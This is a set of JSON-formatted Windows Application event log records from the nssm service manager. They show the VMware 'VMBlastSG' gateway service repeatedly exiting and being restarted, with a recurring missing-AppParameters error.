{"@timestamp":1646733650291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160610}}
{"@timestamp":1646733650292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160611}}
{"@timestamp":1646733650293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160612}}
{"@timestamp":1646733650293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160613}}
{"@timestamp":1646733778793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160614}}
{"@timestamp":1646733778794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160615}}
{"@timestamp":1646733778795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157232","0"]}}},"module":"Application","provider":"nssm","sequence":160616}}
{"@timestamp":1646733778795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157232","157232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160617}}
{"@timestamp":1646733778815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160618}}
{"@timestamp":1646733778816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160619}}
{"@timestamp":1646733778816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160620}}
{"@timestamp":1646733778817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160621}}
{"@timestamp":1646733907307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160622}}
{"@timestamp":1646733907307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160623}}
{"@timestamp":1646733907308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157276","0"]}}},"module":"Application","provider":"nssm","sequence":160624}}
{"@timestamp":1646733907308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157276","157276","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160625}}
{"@timestamp":1646733907325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160626}}
{"@timestamp":1646733907326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160627}}
{"@timestamp":1646733907326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160628}}
{"@timestamp":1646733907327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160629}}
{"@timestamp":1646734035818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160630}}
{"@timestamp":1646734035818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160631}}
{"@timestamp":1646734035819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156224","0"]}}},"module":"Application","provider":"nssm","sequence":160632}}
{"@timestamp":1646734035820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156224","156224","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160633}}
{"@timestamp":1646734035836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160634}}
{"@timestamp":1646734035837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160635}}
{"@timestamp":1646734035837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160636}}
{"@timestamp":1646734035838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160637}}
{"@timestamp":1646734164347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160638}}
{"@timestamp":1646734164347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160639}}
{"@timestamp":1646734164348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157396","0"]}}},"module":"Application","provider":"nssm","sequence":160640}}
{"@timestamp":1646734164348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157396","157396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160641}}
{"@timestamp":1646734164364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160642}}
{"@timestamp":1646734164365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160643}}
{"@timestamp":1646734164365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160644}}
{"@timestamp":1646734164366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160645}}
{"@timestamp":1646734292979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160646}}
{"@timestamp":1646734292979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160647}}
{"@timestamp":1646734292980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155680","0"]}}},"module":"Application","provider":"nssm","sequence":160648}}
{"@timestamp":1646734292981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155680","155680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160649}}
{"@timestamp":1646734292998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160650}}
{"@timestamp":1646734292999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160651}}
{"@timestamp":1646734293001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160652}}
{"@timestamp":1646734293002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160653}}
{"@timestamp":1646734421516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160654}}
{"@timestamp":1646734421517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160655}}
{"@timestamp":1646734421518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157252","0"]}}},"module":"Application","provider":"nssm","sequence":160656}}
{"@timestamp":1646734421519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157252","157252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160657}}
{"@timestamp":1646734421536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160658}}
{"@timestamp":1646734421537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160659}}
{"@timestamp":1646734421537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160660}}
{"@timestamp":1646734421538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160661}}
{"@timestamp":1646734550043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160662}}
{"@timestamp":1646734550044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160663}}
{"@timestamp":1646734550045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156812","0"]}}},"module":"Application","provider":"nssm","sequence":160664}}
{"@timestamp":1646734550045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156812","156812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160665}}
{"@timestamp":1646734550066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160666}}
{"@timestamp":1646734550067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160667}}
{"@timestamp":1646734550068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160668}}
{"@timestamp":1646734550069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160669}}
{"@timestamp":1646734678695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160670}}
{"@timestamp":1646734678696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160671}}
{"@timestamp":1646734678697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157068","0"]}}},"module":"Application","provider":"nssm","sequence":160672}}
{"@timestamp":1646734678697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157068","157068","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160673}}
{"@timestamp":1646734678716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160674}}
{"@timestamp":1646734678717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160675}}
{"@timestamp":1646734678717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160676}}
{"@timestamp":1646734678718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160677}}
{"@timestamp":1646734807318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160678}}
{"@timestamp":1646734807318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160679}}
{"@timestamp":1646734807319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157064","0"]}}},"module":"Application","provider":"nssm","sequence":160680}}
{"@timestamp":1646734807320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157064","157064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160681}}
{"@timestamp":1646734807337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160682}}
{"@timestamp":1646734807337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160683}}
{"@timestamp":1646734807338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160684}}
{"@timestamp":1646734807338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160685}}
{"@timestamp":1646734935837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160686}}
{"@timestamp":1646734935838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160687}}
{"@timestamp":1646734935839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156728","0"]}}},"module":"Application","provider":"nssm","sequence":160688}}
{"@timestamp":1646734935840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156728","156728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160689}}
{"@timestamp":1646734935857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160690}}
{"@timestamp":1646734935858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160691}}
{"@timestamp":1646734935859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160692}}
{"@timestamp":1646734935859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160693}}
{"@timestamp":1646735064357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160694}}
{"@timestamp":1646735064359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160695}}
{"@timestamp":1646735064360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157340","0"]}}},"module":"Application","provider":"nssm","sequence":160696}}
{"@timestamp":1646735064361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157340","157340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160697}}
{"@timestamp":1646735064376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160698}}
{"@timestamp":1646735064377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160699}}
{"@timestamp":1646735064377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160700}}
{"@timestamp":1646735064378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160701}}
{"@timestamp":1646735193042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160702}}
{"@timestamp":1646735193044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160703}}
{"@timestamp":1646735193044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157300","0"]}}},"module":"Application","provider":"nssm","sequence":160704}}
{"@timestamp":1646735193045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157300","157300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160705}}
{"@timestamp":1646735193061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160706}}
{"@timestamp":1646735193062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160707}}
{"@timestamp":1646735193062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160708}}
{"@timestamp":1646735193063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160709}}
{"@timestamp":1646735321662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160710}}
{"@timestamp":1646735321663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160711}}
{"@timestamp":1646735321664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156804","0"]}}},"module":"Application","provider":"nssm","sequence":160712}}
{"@timestamp":1646735321665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156804","156804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160713}}
{"@timestamp":1646735321682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160714}}
